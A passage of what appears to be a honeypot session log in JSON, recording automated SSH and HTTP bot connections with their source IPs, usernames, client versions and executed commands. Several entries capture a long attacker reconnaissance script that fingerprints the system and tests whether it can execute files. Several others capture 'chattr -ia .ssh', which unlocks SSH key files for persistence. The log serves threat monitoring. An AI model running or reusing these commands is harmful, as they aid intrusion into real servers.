2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:27:44.166172+00:00",
  "ended_at": "2026-08-27T05:27:44.322255+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "7c6b7415-f50c-48db-8a82-8c7dcc93af34",
  "name": "forlorn-brazen-martin",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "47.242.48.111",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:26:49.800072+00:00",
  "ended_at": "2026-08-27T05:42:08.278095+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "40f70538-dde7-46ec-9a70-9ce085c021d7",
  "name": "russet-hazel-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 53762,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:25:49.231994+00:00",
  "ended_at": "2026-08-27T05:25:49.397657+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b0a180a8-18a9-40e2-a335-e1a032c0f286",
  "name": "seaward-candid-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 53644,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 313,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:25:48.520057+00:00",
  "ended_at": "2026-08-27T05:25:50.639940+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "cd142c98-1ff3-4b01-bf57-3fc0acf77da6",
  "name": "graceful-sooty-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 53674,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:25:33.917097+00:00",
  "ended_at": "2026-08-27T05:25:35.200009+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ab460ad9-731f-4600-832b-16c2be840ed7",
  "name": "ivory-solemn-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 53664,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:25:31.965907+00:00",
  "ended_at": "2026-08-27T05:25:33.302022+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "172a93f3-39d4-4314-ba20-f7831639b04f",
  "name": "cunning-sullen-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 50846,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:23:49.195965+00:00",
  "ended_at": "2026-08-27T05:23:49.309845+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "61a90769-d1d3-49b9-b13a-2b1f593dfb1a",
  "name": "cosmic-tidal-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 51752,
  "username": "sanjay",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 309,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:23:37.119701+00:00",
  "ended_at": "2026-08-27T05:23:38.045053+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "685b47ea-1f1c-4c8f-9f7c-1663bf29049a",
  "name": "quartz-balmy-oryx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 51780,
  "username": "sanjay",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:23:21.809709+00:00",
  "ended_at": "2026-08-27T05:23:23.638042+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ee661b86-6b0f-4fc9-95ad-857c0f66d7f5",
  "name": "marbled-valiant-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 51764,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:23:19.608792+00:00",
  "ended_at": "2026-08-27T05:23:21.192851+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "02fb37ba-cd0f-4d8c-bad7-d6432009f582",
  "name": "wistful-whispering-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 47948,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:21:48.124915+00:00",
  "ended_at": "2026-08-27T05:21:48.235000+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "e5574279-3724-4e92-ba39-eab1e8dc9035",
  "name": "valiant-tawny-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 48054,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 322,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:21:36.906836+00:00",
  "ended_at": "2026-08-27T05:21:38.907844+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "0014e45b-e1bc-4aac-86ae-6c1c9fd45ed9",
  "name": "blazing-slender-gazelle",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "67.205.136.48",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:21:16.069951+00:00",
  "ended_at": "2026-08-27T05:37:08.195274+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7659422e-f6f9-456a-919a-7ba1c22760ec",
  "name": "shifting-cobalt-reindeer",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 48064,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:21:14.341900+00:00",
  "ended_at": "2026-08-27T05:21:15.048277+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b8e34c9f-27a0-4075-9bbd-4aad3d00bcc8",
  "name": "amber-thawing-harrier",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 48060,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:21:12.200604+00:00",
  "ended_at": "2026-08-27T05:21:13.729666+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7b7bc21e-cbdf-41eb-9fcf-3fb472d2aea3",
  "name": "eager-hidden-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 45072,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:19:55.753101+00:00",
  "ended_at": "2026-08-27T05:19:55.890230+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f157b3ed-5a6b-47d8-a155-d1f9a5950881",
  "name": "knotted-umber-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 51482,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:19:33.158493+00:00",
  "ended_at": "2026-08-27T05:19:34.654119+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "4e98db0b-4f56-4f24-986d-29ed17b89215",
  "name": "solemn-austere-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 45748,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:19:06.585146+00:00",
  "ended_at": "2026-08-27T05:19:08.014588+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7668aa4d-c722-480b-bc6e-5fb8576abb3b",
  "name": "verdant-supple-cassowary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 51488,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:19:04.586005+00:00",
  "ended_at": "2026-08-27T05:19:05.939152+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "af85e40d-25dd-4657-b5c4-5cb9d16254e3",
  "name": "lunar-hushed-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 42194,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" 